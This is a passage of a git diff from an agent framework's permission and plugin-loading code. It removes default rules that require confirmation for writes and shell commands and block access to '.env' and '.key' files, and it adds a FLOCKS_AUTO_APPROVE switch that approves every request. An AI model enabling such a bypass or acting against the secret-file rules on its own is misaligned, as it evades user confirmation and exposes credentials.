Permission result - """ - # Generate key for caching - key = self._make_key(request.tool, request.path) - - # Check denied cache - if key in self._denied: - return PermissionResult( - allowed=False, - level=PermissionLevel.DENY, - reason="Previously denied" - ) - - # Check auto-approved cache - if key in self._auto_approved: - return PermissionResult( - allowed=True, - level=PermissionLevel.ALLOW, - reason="Previously approved" - ) - - # Find matching rule - for rule in self._rules: - if self._rule_matches(rule, request): - if rule.level == PermissionLevel.ALLOW: - return PermissionResult( - allowed=True, - level=PermissionLevel.ALLOW, - rule=rule, - reason="Allowed by rule" - ) - if rule.level == PermissionLevel.DENY: - return PermissionResult( - allowed=False, - level=PermissionLevel.DENY, - rule=rule, - reason="Denied by rule" - ) - return PermissionResult( - allowed=False, # Not allowed until confirmed - level=PermissionLevel.ASK, - rule=rule, - reason="Requires user confirmation", - requires_confirmation=True - ) - - # Default: require confirmation - return PermissionResult( - allowed=False, - level=PermissionLevel.ASK, - reason="No matching rule, requires confirmation", - requires_confirmation=True - ) - - def approve( - self, - request: PermissionRequest, - remember: bool = False - ) -> None: - """ - Approve a permission request - - Args: - request: Permission request - remember: If True, remember for future requests - """ - key = self._make_key(request.tool, request.path) - - if remember: - self._auto_approved.add(key) - self._denied.discard(key) - - log.info("permission.approved", { - "tool": request.tool, - "path": request.path, - "remember": remember - }) - - def deny( - self, - request: PermissionRequest, - remember: bool = False - ) -> None: - """ - Deny a permission request - - Args: - request: Permission request - remember: If True, remember for future requests - """ - key = self._make_key(request.tool, request.path) - - if remember: - self._denied.add(key) - self._auto_approved.discard(key) - - log.info("permission.denied", { - "tool": request.tool, - "path": request.path, - "remember": remember - }) - - def _make_key(self, tool: str, path: Optional[str]) -> str: - """Generate cache key""" - if path: - return f"{tool}:{path}" - return tool - - def _rule_matches(self, rule: PermissionRule, request: PermissionRequest) -> bool: - """ - Check if a rule matches a request - - Args: - rule: Permission rule - request: Permission request - - Returns: - True if rule matches - """ - # Check tool filter - if rule.tools and request.tool not in rule.tools: - return False - - # Check scope - if rule.scope == PermissionScope.GLOBAL: - return True - - if not request.path: - # Non-path operations only match global rules - return False - - if rule.scope == PermissionScope.FILE: - return rule.path == request.path - - if rule.scope == PermissionScope.DIRECTORY: - # Check if path is under the directory - if rule.path: - return request.path.startswith(rule.path.rstrip('/') + '/') - return False - - if rule.scope == PermissionScope.PATTERN: - # Check glob pattern - if rule.pattern: - import fnmatch - return fnmatch.fnmatch(request.path, rule.pattern) - return False - - return False - - -class Permission: - """ - Permission namespace for agent operations - - Provides a high-level interface for permission checking. - """ - - _manager: Optional[PermissionManager] = None - - # Default rules for common operations - DEFAULT_RULES: List[Dict[str, Any]] = [ - # Allow reading any file by default - { - "level": "allow", - "scope": "global", - "tools": ["read_file", "list_directory", "search_files"], - "description": "Allow read operations", - }, - # Ask for write operations - { - "level": "ask", - "scope": "global", - "tools": ["write_file", "edit_file", "delete_file", "create_file"], - "description": "Confirm write operations", - }, - # Deny dangerous patterns - { - "level": "deny", - "scope": "pattern", - "pattern": "**/.env*", - "tools": ["write_file", "edit_file"], - "description": "Protect environment files", - }, - { - "level": "deny", - "scope": "pattern", - "pattern": "**/*.key", - "tools": ["write_file", "edit_file", "read_file"], - "description": "Protect key files", - }, - # Ask for command execution - { - "level": "ask", - "scope": "global", - "tools": ["execute_command", "run_shell", "terminal"], - "description": "Confirm command execution", - }, - ] - - @classmethod - def get_manager(cls) -> PermissionManager: - """Get the permission manager instance""" - if cls._manager is None: - cls._manager = PermissionManager() - cls._load_default_rules() - return cls._manager - - @classmethod - def _load_default_rules(cls) -> None: - """Load default permission rules""" - manager = cls._manager - if not manager: - return - - for rule_data in cls.DEFAULT_RULES: - rule = PermissionRule( - level=PermissionLevel(rule_data["level"]), - scope=PermissionScope(rule_data.get("scope", "global")), - pattern=rule_data.get("pattern"), - path=rule_data.get("path"), - tools=rule_data.get("tools", []), - description=rule_data.get("description"), - ) - manager.add_rule(rule) - - @classmethod - def check(cls, tool: str, path: Optional[str] = None, **kwargs) -> PermissionResult: - """ - Check permission for a tool operation - - Args: - tool: Tool name - path: Optional file/directory path - **kwargs: Additional context - - Returns: - Permission result - """ - manager = cls.get_manager() - request = PermissionRequest(tool=tool, path=path, context=kwargs) - return manager.check(request) - - @classmethod - def approve(cls, tool: str, path: Optional[str] = None, remember: bool = False) -> None: - """ - Approve a tool operation - - Args: - tool: Tool name - path: Optional file/directory path - remember: If True, remember for future - """ - manager = cls.get_manager() - request = PermissionRequest(tool=tool, path=path) - manager.approve(request, remember) - - @classmethod - def deny(cls, tool: str, path: Optional[str] = None, remember: bool = False) -> None: - """ - Deny a tool operation - - Args: - tool: Tool name - path: Optional file/directory path - remember: If True, remember for future - """ - manager = cls.get_manager() - request = PermissionRequest(tool=tool, path=path) - manager.deny(request, remember) - - @classmethod - def add_rule(cls, rule: PermissionRule) -> None: - """Add a permission rule""" - manager = cls.get_manager() - manager.add_rule(rule) - - @classmethod - def get_rules(cls) -> List[PermissionRule]: - """Get all permission rules""" - manager = cls.get_manager() - return manager.get_rules() - - @classmethod - def reset(cls) -> None: - """Reset permission manager to defaults""" - cls._manager = None - - -# ============================================================================ -# Compatibility Helpers (matching PermissionNext) -# ============================================================================ - -Ruleset = List[PermissionRule] - - -def from_config(permission_config: Union[Dict[str, Any], BaseModel]) -> Ruleset: - """ - Convert config permission object to Ruleset - - Matches PermissionNext.fromConfig - - Args: - permission_config: Permission configuration from Config - - Returns: - List of permission rules - """ - ruleset: Ruleset = [] - - if hasattr(permission_config, "model_dump"): - config_dict = permission_config.model_dump(exclude_none=True) - elif isinstance(permission_config, dict): - config_dict = permission_config - else: - return ruleset - - for key, value in config_dict.items(): - if isinstance(value, str) or isinstance(value, PermissionLevel): - # Simple permission: "read": "allow" -> permission="read", action="allow", pattern="*" - ruleset.append(PermissionRule( - permission=key, - level=PermissionLevel(value), - scope=PermissionScope.GLOBAL, - pattern="*" - )) - continue - - if isinstance(value, dict): - # Complex permission: "exclude": {"*.txt": "deny"} - for pattern, action in value.items(): - ruleset.append(PermissionRule( - permission=key, - level=PermissionLevel(action), - scope=PermissionScope.PATTERN, - pattern=pattern - )) - - return ruleset - - -def merge(*rulesets: Ruleset) -> Ruleset: - """ - Merge multiple rulesets - - Matches PermissionNext.merge - """ - result = [] - for ruleset in rulesets: - result.extend(ruleset) - return result - - -# ============================================================================ -# Permission Request/Reply System (matching PermissionNext.ask) -# ============================================================================ - -class PermissionRequestInfo(BaseModel): - """Permission request information""" - model_config = {"populate_by_name": True} - - id: str - session_id: str = Field(alias="sessionID") - permission: str - patterns: List[str] - metadata: Dict[str, Any] = Field(default_factory=dict) - always: List[str] = Field(default_factory=list) - tool: Optional[Dict[str, str]] = None - - -class DeniedError(Exception): - """Exception raised when permission is denied""" - - def __init__(self, rules: List[PermissionRule]): - self.rules = rules - super().__init__(f"Permission denied by rules: {rules}") - - -class PermissionNext: - """ - Next-generation permission system - - Combines agent permission evaluation and permission request/reply handling. - """ - - # Pending permission requests (request_id -> {"info": PermissionRequestInfo, "future": asyncio.Future}) - _pending: Dict[str, Dict[str, Any]] = {} - - # Session-scoped permissions (session_id -> {permission: action}) - _session_permissions: Dict[str, Dict[str, str]] = {} - - # Permanent rules (permission -> action) - _permanent_rules: Dict[str, str] = {} - - # Event callbacks - _on_permission_asked: Optional[Callable[[PermissionRequestInfo], Awaitable[None]]] = None - _on_permission_replied: Optional[Callable[[str, str, str], Awaitable[None]]] = None - - @classmethod - def set_callbacks( - cls, - on_asked: Optional[Callable[[PermissionRequestInfo], Awaitable[None]]] = None, - on_replied: Optional[Callable[[str, str, str], Awaitable[None]]] = None, - ) -> None: - """Set event callbacks for permission events""" - cls._on_permission_asked = on_asked - cls._on_permission_replied = on_replied - - @classmethod - async def ask( - cls, - session_id: str, - permission: str, - patterns: List[str], - ruleset: Ruleset, - metadata: Optional[Dict[str, Any]] = None, - always: Optional[List[str]] = None, - tool: Optional[Dict[str, str]] = None, - request_id: Optional[str] = None, - ) -> None: - """ - Ask for permission to perform an action - - Ported from original PermissionNext.ask(). - """ - import os - - metadata = metadata or {} - always_patterns = always or [] - - # Auto-approve for CI/TUI or testing modes - if os.environ.get("FLOCKS_AUTO_APPROVE") == "true": - log.debug("permission.auto_approved", { - "permission": permission, - "reason": "FLOCKS_AUTO_APPROVE=true" - }) - return - - # Check session-scoped permissions first - session_perms = cls._session_permissions.get(session_id, {}) - if permission in session_perms: - action = session_perms[permission] - if action == "allow": - return - if action == "deny": - raise DeniedError([]) - - # Check permanent rules - if permission in cls._permanent_rules: - action = cls._permanent_rules[permission] - if action in ("allow", "always"): - return - if action in ("deny", "never"): - raise DeniedError([]) - - # Evaluate ruleset - if ruleset: - action = cls._evaluate(permission, patterns[0] if patterns else "*", ruleset) - if action == "allow": - return - if action == "deny": - matching_rules = [ - rule for rule in ruleset - if cls._pattern_matches(permission, rule.permission or "*") and - cls._pattern_matches(patterns[0] if patterns else "*", rule.pattern or "*") - ] - raise DeniedError(matching_rules) - - # Check always patterns - if always_patterns: - for pattern in always_patterns: - if cls._pattern_matches(patterns[0] if patterns else "*", pattern): - return - - # Need to ask user - create request and wait - req_id = request_id or Identifier.create("permission") - - request_info = PermissionRequestInfo( - id=req_id, - sessionID=session_id, - permission=permission, - patterns=patterns, - metadata=metadata, - always=always_patterns, - tool=tool, - ) - - future = asyncio.Future() - cls._pending[req_id] = { - "info": request_info, - "future": future, - } - - # Trigger callback/event - if cls._on_permission_asked: - await cls._on_permission_asked(request_info) - - try: - from flocks.server.routes.event import publish_event - await publish_event("permission.request", { - "requestID": req_id, - "sessionID": session_id, - "permission": permission, - "patterns": patterns, - "metadata": metadata or {}, - "tool": tool, - }) - except Exception as exc: - log.debug("permission.request.publish_failed", {"error": str(exc)}) - - # Wait for reply - try: - reply = await asyncio.wait_for(future, timeout=300) # 5 min timeout - except asyncio.TimeoutError: - if req_id in cls._pending: - del cls._pending[req_id] - raise PermissionError(f"Permission request timed out: {permission}") - - # Process reply - if reply in ("allow", "once"): - return - if reply in ("deny", "reject"): - raise DeniedError([]) - if reply == "always": - cls._permanent_rules[permission] = "allow" - return - if reply == "never": - cls._permanent_rules[permission] = "deny" - raise DeniedError([]) - if reply == "allow_session": - if session_id not in cls._session_permissions: - cls._session_permissions[session_id] = {} - cls._session_permissions[session_id][permission] = "allow" - return - - raise PermissionError(f"Unknown permission reply: {reply}") - - @classmethod - def reply( - cls, - request_id: str, - reply: str, - session_id: Optional[str] = None, - ) -> None: - """ - Reply to a permission request. - - Accepts: allow, deny, always, never, allow_session, once, reject. - """ - if request_id not in cls._pending: - log.warn("permission.reply.not_found", {"request_id": request_id}) - return - - pending = cls._pending[request_id] - future = pending["future"] - request_info = pending["info"] - - log.info("permission.replied", { - "request_id": request_id, - "reply": reply, - }) - - if not future.done(): - future.set_result(reply) - - # Trigger callback (async-friendly) - if cls._on_permission_replied: - resolved_session_id = session_id or request_info.session_id - try: - task = cls._on_permission_replied(resolved_session_id, request_id, reply) - if asyncio.iscoroutine(task): - asyncio.create_task(task) - except Exception as exc: - log.debug("permission.reply.callback_failed", {"error": str(exc)}) - - if request_id in cls._pending: - del cls._pending[request_id] - - @classmethod - def _evaluate( - cls, - permission: str, - pattern: str, - ruleset: Ruleset, - ) -> str: - """ - Evaluate permission action for a pattern. - - Uses Flocks's "last matching rule wins" behavior. - """ - matched_rule = None - for rule in reversed(ruleset): - if not cls._pattern_matches(permission, rule.permission or "*"): - continue - if not cls._pattern_matches(pattern, rule.pattern or "*"): - continue - matched_rule = rule - break - - if matched_rule: - return matched_rule.level.value if hasattr(matched_rule.level, "value") else str(matched_rule.level) - - return "ask" - - @classmethod - def _pattern_matches(cls, text: str, pattern: str) -> bool: - """Check if text matches pattern (with wildcard support).""" - if pattern == "*": - return True - if "*" in pattern: - import fnmatch - return fnmatch.fnmatch(text, pattern) - return text == pattern - - @classmethod - def from_config(cls, permission_config: Union[Dict[str, Any], BaseModel]) -> Ruleset: - """Alias for from_config function""" - return from_config(permission_config) - - @classmethod - def merge(cls, *rulesets: Ruleset) -> Ruleset: - """Alias for merge function""" - return merge(*rulesets) - __all__ = [ "Permission", @@ -791,4 +26,6 @@ def merge(cls, *rulesets: Ruleset) -> Ruleset: "PermissionRequestInfo", "DeniedError", "PermissionNext", + "auto_approve_enabled", + "legacy_tool_permission_prompt_required", ] diff --git a/flocks/permission/interactive.py b/flocks/permission/interactive.py new file mode 100644 index 000000000..d499277c9 --- /dev/null +++ b/flocks/permission/interactive.py @@ -0,0 +1,20 @@ +"""Interactive permission policy for legacy OSS tool prompts.""" + +import os + + +def auto_approve_enabled() -> bool: + """Return whether TUI/CLI non-interactive approval mode is active.""" + return os.environ.get("FLOCKS_AUTO_APPROVE", "").strip().lower() == "true" + + +def legacy_tool_permission_prompt_required() -> bool: + """Return whether ``ctx.ask`` should block on ``PermissionNext``. + + OSS tool permissions (write/read/edit/external_directory) are not + interactively gated. Pro command confirmation uses ``PolicyGateHook``. + """ + return False + + +__all__ = ["auto_approve_enabled", "legacy_tool_permission_prompt_required"] diff --git a/flocks/permission/next.py b/flocks/permission/next.py index 1bd23a826..991e809e2 100644 --- a/flocks/permission/next.py +++ b/flocks/permission/next.py @@ -13,6 +13,7 @@ from flocks.utils.log import Log from flocks.utils.id import Identifier +from flocks.permission.interactive import auto_approve_enabled from flocks.permission.rule import PermissionRule, PermissionLevel from flocks.permission.helpers import Ruleset, from_config, merge from flocks.storage.storage import Storage @@ -65,6 +66,7 @@ class PermissionNext: _REPLY_PREFIX = "permission_reply:" _SESSION_PREFIX = "permission_session:" _PERMANENT_PREFIX = "permission_rule:" + _DEFAULT_TIMEOUT_SECONDS = 300.0 _on_permission_asked: Optional[Callable[[PermissionRequestInfo], Awaitable[None]]] = None _on_permission_replied: Optional[Callable[[str, str, str], Awaitable[None]]] = None @@ -314,56 +316,21 @@ async def ask( always: Optional[List[str]] = None, tool: Optional[Dict[str, str]] = None, request_id: Optional[str] = None, - ) -> None: + timeout_seconds: Optional[float] = None, + ) -> str: """ Ask for permission to perform an action. Ported from original PermissionNext.ask(). """ - import os - - await cls._ensure_persisted_state_loaded() metadata = metadata or {} - always_patterns = always or [] - if os.environ.get("FLOCKS_AUTO_APPROVE") == "true": + if auto_approve_enabled(): log.debug("permission.auto_approved", { "permission": permission, "reason": "FLOCKS_AUTO_APPROVE=true", }) - return - - session_perms = cls._session_permissions.get(session_id, {}) - if permission in session_perms: - action = session_perms[permission] - if action == "allow": - return - if action == "deny": - raise DeniedError([]) - - if permission in cls._permanent_rules: - action = cls._permanent_rules[permission] - if action in ("allow", "always"): - return - if action in ("deny", "never"): - raise DeniedError([]) - - if ruleset: - action = cls._evaluate(permission, patterns[0] if patterns else "*", ruleset) - if action == "allow": - return - if action == "deny": - matching_rules = [ - rule for rule in ruleset - if cls._pattern_matches(permission, rule.permission or "*") - and cls._pattern_matches(patterns[0] if patterns else "*", rule.pattern or "*") - ] - raise DeniedError(matching_rules) - - if always_patterns: - for pattern in always_patterns: - if cls._pattern_matches(patterns[0] if patterns else "*", pattern): - return + return "allow" req_id = request_id or Identifier.create("permission") request_info = PermissionRequestInfo( @@ -372,16 +339,19 @@ async def ask( permission=permission, patterns=patterns, metadata=metadata, - always=always_patterns, + always=always or [], tool=tool, ) + # Persist before exposing the request through callbacks/SSE. A reply + # can now safely locate this request even when it reaches another + # process before the in-memory future is visible. + await cls._persist_pending_request(request_info) future = asyncio.Future() cls._pending[req_id] = { "info": request_info, "future": future, } - cls._schedule_persist(cls._persist_pending_request(request_info)) if cls._on_permission_asked: await cls._on_permission_asked(request_info) @@ -399,7 +369,12 @@ async def ask( except Exception as exc: log.debug("permission.request.publish_failed", {"error": str(exc)}) - timeout_at = asyncio.get_running_loop().time() + 300 + timeout = ( + cls._DEFAULT_TIMEOUT_SECONDS + if timeout_seconds is None + else max(float(timeout_seconds), 0.0) + ) + timeout_at = asyncio.get_running_loop().time() + timeout reply: Optional[str] = None while reply is None: persisted_reply = await cls._consume_persisted_reply(req_id) @@ -409,11 +384,12 @@ async def ask( remaining = timeout_at - asyncio.get_running_loop().time() if remaining <= 0: - if req_id in cls._pending: - del cls._pending[req_id] - cls._schedule_persist(cls._delete_pending_request(req_id)) - cls._schedule_persist(cls._delete_reply(req_id)) - raise PermissionError(f"Permission request timed out: {permission}") + cls._pending.pop(req_id, None) + await cls._delete_pending_request(req_id) + await cls._delete_reply(req_id) + raise asyncio.TimeoutError( + f"Permission request timed out after {timeout:.0f}s: {permission}" + ) try: reply = await asyncio.wait_for(asyncio.shield(future), timeout=min(0.25, remaining)) @@ -421,31 +397,11 @@ async def ask( continue cls._pending.pop(req_id, None) - cls._schedule_persist(cls._delete_reply(req_id)) - - if reply in ("allow", "once"): - return - if reply in ("deny", "reject"): - raise DeniedError([]) - if reply == "always": - cls._permanent_rules[permission] = "allow" - cls._schedule_persist(cls._persist_permanent_rule(permission, "allow")) - return - if reply == "never": - cls._permanent_rules[permission] = "deny" - cls._schedule_persist(cls._persist_permanent_rule(permission, "deny")) - raise DeniedError([]) - if reply in {"allow_session", "deny_session"}: - if session_id not in cls._session_permissions: - cls._session_permissions[session_id] = {} - action = "allow" if reply == "allow_session" else "deny" - cls._session_permissions[session_id][permission] = action - cls._schedule_persist(cls._persist_session_rules(session_id)) - if action == "deny": - raise DeniedError([]) - return - - raise PermissionError(f"Unknown permission reply: {reply}") + await cls._delete_pending_request(req_id) + await cls._delete_reply(req_id) + # OSS only transports the reply; Pro decides whether it means a + # denial, one-time grant, or durable authorization. + return str(reply) @classmethod async def reply( @@ -458,12 +414,12 @@ async def reply( await cls._ensure_persisted_state_loaded() pending = cls._pending.get(request_id) pending_info = pending.get("info") if pending else await cls.get_pending_info(request_id) - await cls._delete_pending_request(request_id) if pending is None: log.warn("permission.reply.not_found", {"request_id": request_id}) resolved_session_id = session_id or (pending_info.session_id if pending_info else None) await cls._persist_reply(request_id, reply, session_id=resolved_session_id) + await cls._delete_pending_request(request_id) if pending_info is not None: await cls._apply_reply_without_future( pending_info, @@ -489,6 +445,12 @@ async def reply( if not future.done(): future.set_result(reply) + await cls._delete_pending_request(request_id) + await cls._apply_reply_without_future( + request_info, + reply, + session_id=session_id, + ) if cls._on_permission_replied: resolved_session_id = session_id or request_info.session_id diff --git a/flocks/plugin/loader.py b/flocks/plugin/loader.py index d0bbf59ea..7122d0920 100644 --- a/flocks/plugin/loader.py +++ b/flocks/plugin/loader.py @@ -39,6 +39,28 @@ log = Log.create(service="plugin") DEFAULT_PLUGIN_ROOT = Path.home() / ".flocks" / "plugins" +_PLUGIN_ENTRYPOINT_GROUP = "flocks.plugins" +_CRITICAL_PLUGIN_ENTRYPOINT_GROUP = "flocks.plugins.critical" + + +class CriticalPluginEntrypointFailure(RuntimeError): + """Marker an entrypoint may raise when required initialization fails. + + The loader does not attach policy meaning to this marker. It merely + reports it separately from ordinary, isolated plugin-load warnings so a + host can decide whether serving is safe for its own runtime. + """ + + +@dataclass +class PluginLoadResult: + """Outcome of a generic plugin-loading pass.""" + + critical_entrypoint_failures: List[str] = field(default_factory=list) + + @property + def has_critical_entrypoint_failure(self) -> bool: + return bool(self.critical_entrypoint_failures) # --------------------------------------------------------------------------- @@ -147,8 +169,8 @@ class ExtensionPoint: subdir: str """Subdirectory under the plugin root, e.g. ``"agents"``.""" - consumer: Callable[[List[Any], str], Optional[List[str]]] - """Callback receiving validated items and optionally returning errors.""" + consumer: Callable[[List[Any], str], None] + """Callback ``(items, source_path) -> None`` that receives validated items.""" item_type: Optional[type] = None """If set, only items that are ``isinstance(item, item_type)`` are kept.""" @@ -191,6 +213,7 @@ class PluginLoader: _extension_points: Dict[str, ExtensionPoint] = {} _plugin_root: Path = DEFAULT_PLUGIN_ROOT + _runtime_critical_entrypoint_failure = False # ------------------------------------------------------------------ # Extension-point registration @@ -213,6 +236,16 @@ def clear_extension_points(cls) -> None: """Reset all extension points (useful for testing).""" cls._extension_points.clear() + @classmethod + def has_runtime_critical_entrypoint_failure(cls) -> bool: + """Return whether the most recent full load found a critical failure.""" + return cls._runtime_critical_entrypoint_failure + + @classmethod + def clear_runtime_critical_entrypoint_failure(cls) -> None: + """Clear the generic runtime failure signal before an explicit reload.""" + cls._runtime_critical_entrypoint_failure = False + # ------------------------------------------------------------------ # Loading # ------------------------------------------------------------------ @@ -222,7 +255,7 @@ def load_all( cls, extra_sources: Optional[List[str]] = None, project_dir: Optional[Path] = None, - ) -> None: + ) -> PluginLoadResult: """Unified loading entry point. For each registered extension point: @@ -232,6 +265,7 @@ def load_all( 4. Validate, dedup, and dispatch to the consumer. """ project_dir = project_dir or Path.cwd() + result = PluginLoadResult() for ext in cls._extension_points.values(): cls._load_extension_point( @@ -245,7 +279,9 @@ def load_all( ext._loaded = True # 4. Installed package entry-points - cls._load_entry_points() + cls._load_entry_points(result) + cls._runtime_critical_entrypoint_failure = result.has_critical_entrypoint_failure + return result @classmethod def load_extension( @@ -255,7 +291,7 @@ def load_extension( project_dir: Optional[Path] = None, *, load_entry_points: bool = False, - ) -> List[str]: + ) -> None: """Load one registered extension point using normal plugin scan rules. This is the scoped counterpart to :meth:`load_all`. It scans the same @@ -269,20 +305,19 @@ def load_extension( ext = cls._extension_points.get(attr_name) if ext is None: log.warn("plugin.ext_point.not_found", {"attr": attr_name}) - return [f"extension point not found: {attr_name}"] - - errors: List[str] = [] + return cls._load_extension_point( ext, extra_sources=extra_sources, project_dir=project_dir or Path.cwd(), log_scope="load_extension", - errors=errors, ) if load_entry_points: - cls._load_entry_points(errors=errors) - return errors + result = cls._load_entry_points() + cls._runtime_critical_entrypoint_failure = ( + result.has_critical_entrypoint_failure + ) @classmethod def load_for_extension( @@ -303,12 +338,9 @@ def load_for_extension( collected: List[Any] = [] original_consumer = ext.consumer - def _collecting_consumer( - items: List[Any], - source: str, - ) -> Optional[List[str]]: + def _collecting_consumer(items: List[Any], source: str) -> None: collected.extend(items) - return original_consumer(items, source) + original_consumer(items, source) ext.consumer = _collecting_consumer ext._seen_keys = set() @@ -359,7 +391,6 @@ def _load_extension_point( extra_sources: Optional[List[str]], project_dir: Path, log_scope: str, - errors: Optional[List[str]] = None, ) -> None: """Scan and load one registered extension point.""" if ext.load_once and ext._loaded: @@ -390,7 +421,7 @@ def _load_extension_point( "files": [Path(s).name for s in default_sources], }, ) - cls._load_sources_for_ext(ext, default_sources, subdir_path, errors=errors) + cls._load_sources_for_ext(ext, default_sources, subdir_path) # 2. Project-level plugin subdirectory (/.flocks/plugins/{subdir}/) project_subdir_path = project_plugin_root / ext.subdir @@ -410,64 +441,138 @@ def _load_extension_point( "files": [Path(s).name for s in project_sources], }, ) - cls._load_sources_for_ext( - ext, - project_sources, - project_subdir_path, - errors=errors, - ) + cls._load_sources_for_ext(ext, project_sources, project_subdir_path) # 3. Explicit sources from cfg.plugin if extra_sources: - cls._load_sources_for_ext(ext, extra_sources, project_dir, errors=errors) + cls._load_sources_for_ext(ext, extra_sources, project_dir) if ext.load_once: ext._loaded = True @classmethod - def _load_entry_points(cls, errors: Optional[List[str]] = None) -> None: + def _load_entry_points(cls, result: PluginLoadResult | None = None) -> PluginLoadResult: """ - Load installed package entry-points under ``flocks.plugins``. + Load installed package entry-points. Entry-point target is expected to be callable, supporting either: - ``fn(loader_cls)``, or - ``fn()``. + + Plugins opt into host-visible startup failure with the generic + ``flocks.plugins.critical`` group. Critical failures block effects only + when the optional ``flockspro`` component is installed; pure OSS + deployments always isolate entry-point failures. """ - group = "flocks.plugins" + result = result or PluginLoadResult() + try: + pro_installed = importlib.util.find_spec("flockspro") is not None + except Exception as exc: + # If the installation state cannot be determined, preserve the OSS + # boundary and do not let plugin discovery block Core effects. + pro_installed = False + log.warning( + "plugin.flockspro.installation_check_failed", + {"error": str(exc)}, + ) + + def record_critical_failure( + name: str, + event: str, + context: Dict[str, Any], + ) -> None: + if pro_installed: + result.critical_entrypoint_failures.append(name) + log.error(event, context) + return + + log.warning( + "plugin.entrypoint.critical_failure_isolated", + { + **context, + "event": event, + "reason": "flockspro_not_installed", + }, + ) + try: - eps = importlib.metadata.entry_points().select(group=group) + entry_points = importlib.metadata.entry_points() except Exception as e: - log.debug("plugin.entrypoints.scan_failed", {"group": group, "error": str(e)}) - if errors is not None: - errors.append(f"entry point scan: {type(e).__name__}: {e}") - return + record_critical_failure( + "entrypoint_metadata_scan", + "plugin.entrypoints.scan_failed", + {"error": str(e)}, + ) + return result - for ep in eps: + for group, declared_critical in ( + (_PLUGIN_ENTRYPOINT_GROUP, False), + (_CRITICAL_PLUGIN_ENTRYPOINT_GROUP, True), + ): try: - target = ep.load() - except Exception as e: - log.warning("plugin.entrypoint.load_failed", {"name": ep.name, "error": str(e)}) - if errors is not None: - errors.append(f"entry point {ep.name}: {e}") + eps = entry_points.select(group=group) + except Exception as exc: + if declared_critical: + record_critical_failure( + group, + "plugin.entrypoint.critical_group_scan_failed", + {"group": group, "error": str(exc)}, + ) + else: + log.warning( + "plugin.entrypoint.group_scan_failed", + {"group": group, "error": str(exc)}, + ) continue - if not callable(target): - log.warning("plugin.entrypoint.not_callable", {"name": ep.name}) - if errors is not None: - errors.append(f"entry point {ep.name}: target is not callable") - continue + for ep in eps: + try: + target = ep.load() + except Exception as exc: + if declared_critical or isinstance(exc, CriticalPluginEntrypointFailure): + record_critical_failure( + ep.name, + "plugin.entrypoint.critical_load_failed", + {"name": ep.name, "group": group, "error": str(exc)}, + ) + else: + log.warning( + "plugin.entrypoint.load_failed", + {"name": ep.name, "error": str(exc)}, + ) + continue - try: - signature = inspect.signature(target) - if len(signature.parameters) >= 1: - target(cls) - else: - target() - log.info("plugin.entrypoint.loaded", {"name": ep.name, "group": group}) - except Exception as e: - log.warning("plugin.entrypoint.invoke_failed", {"name": ep.name, "error": str(e)}) - if errors is not None: - errors.append(f"entry point {ep.name}: {e}") + if not callable(target): + if declared_critical: + record_critical_failure( + ep.name, + "plugin.entrypoint.critical_not_callable", + {"name": ep.name, "group": group}, + ) + else: + log.warning("plugin.entrypoint.not_callable", {"name": ep.name}) + continue + + try: + signature = inspect.signature(target) + if len(signature.parameters) >= 1: + target(cls) + else: + target() + log.info("plugin.entrypoint.loaded", {"name": ep.name, "group": group}) + except Exception as exc: + if declared_critical or isinstance(exc, CriticalPluginEntrypointFailure): + record_critical_failure( + ep.name, + "plugin.entrypoint.critical_invoke_failed", + {"name": ep.name, "group": group, "error": str(exc)}, + ) + else: + log.warning( + "plugin.entrypoint.invoke_failed", + {"name": ep.name, "error": str(exc)}, + ) + return result @classmethod def _load_sources_for_ext( @@ -475,13 +580,12 @@ def _load_sources_for_ext( ext: ExtensionPoint, sources: List[str], base_dir: Path, - errors: Optional[List[str]] = None, ) -> None: """Load each source module and dispatch matching items to *ext.consumer*.""" for source in sources: source_path = Path(source) if source_path.suffix in (".yaml", ".yml"): - cls._load_yaml_source(ext, source_path, errors=errors) + cls._load_yaml_source(ext, source_path) continue try: @@ -495,8 +599,6 @@ def _load_sources_for_ext( "type": type(e).__name__, }, ) - if errors is not None: - errors.append(f"{source}: {type(e).__name__}: {e}") continue raw = getattr(module, ext.attr_name, None) @@ -511,29 +613,11 @@ def _load_sources_for_ext( "attr": ext.attr_name, }, ) - if errors is not None: - errors.append(f"{source}: {ext.attr_name} must be a list") continue - items = cls._validate_and_dedup(ext, list(raw), source, errors=errors) + items = cls._validate_and_dedup(ext, list(raw), source) if items: - try: - consumer_errors = ext.consumer(items, source) - except Exception as e: - log.error( - "plugin.consumer_failed", - { - "source": source, - "attr": ext.attr_name, - "error": str(e), - }, - ) - if errors is None: - raise - errors.append(f"{source}: consumer: {type(e).__name__}: {e}") - continue - if errors is not None and consumer_errors: - errors.extend(f"{source}: {error}" for error in consumer_errors) + ext.consumer(items, source) log.info( "plugin.dispatched", { @@ -544,12 +628,7 @@ def _load_sources_for_ext( ) @classmethod - def _load_yaml_source( - cls, - ext: ExtensionPoint, - yaml_path: Path, - errors: Optional[List[str]] = None, - ) -> None: + def _load_yaml_source(cls, ext: ExtensionPoint, yaml_path: Path) -> None: """Load a YAML config file and dispatch via the extension point's factory.""" if ext.yaml_item_factory is None: log.warn( @@ -560,60 +639,27 @@ def _load_yaml_source( "hint": f"Extension point '{ext.attr_name}' has no yaml_item_factory; skipping YAML file", }, ) - if errors is not None: - errors.append(f"{yaml_path}: YAML is not supported for {ext.attr_name}") return try: raw = yaml.safe_load(yaml_path.read_text(encoding="utf-8")) except Exception as e: log.error("plugin.yaml_parse_failed", {"path": str(yaml_path), "error": str(e)}) - if errors is not None: - errors.append(f"{yaml_path}: {e}") return if not isinstance(raw, dict): log.warn("plugin.yaml_invalid", {"path": str(yaml_path), "hint": "Expected a YAML mapping"}) - if errors is not None: - errors.append(f"{yaml_path}: expected a YAML mapping") return try: item = ext.yaml_item_factory(raw, yaml_path) except Exception as e: log.error("plugin.yaml_factory_failed", {"path": str(yaml_path), "error": str(e)}) - if errors is not None: - errors.append(f"{yaml_path}: {e}") return - items = cls._validate_and_dedup( - ext, - [item], - str(yaml_path), - errors=errors, - ) + items = cls._validate_and_dedup(ext, [item], str(yaml_path)) if items: - try: - consumer_errors = ext.consumer(items, str(yaml_path)) - except Exception as e: - log.error( - "plugin.consumer_failed", - { - "source": str(yaml_path), - "attr": ext.attr_name, - "error": str(e), - }, - ) - if errors is None: - raise - errors.append( - f"{yaml_path}: consumer: {type(e).__name__}: {e}" - ) - return - if errors is not None and consumer_errors: - errors.extend( - f"{yaml_path}: {error}" for error in consumer_errors - ) + ext.consumer(items, str(yaml_path)) log.debug( "plugin.yaml_dispatched", { @@ -629,27 +675,20 @@ def _validate_and_dedup( ext: ExtensionPoint, raw_items: List[Any], source: str, - errors: 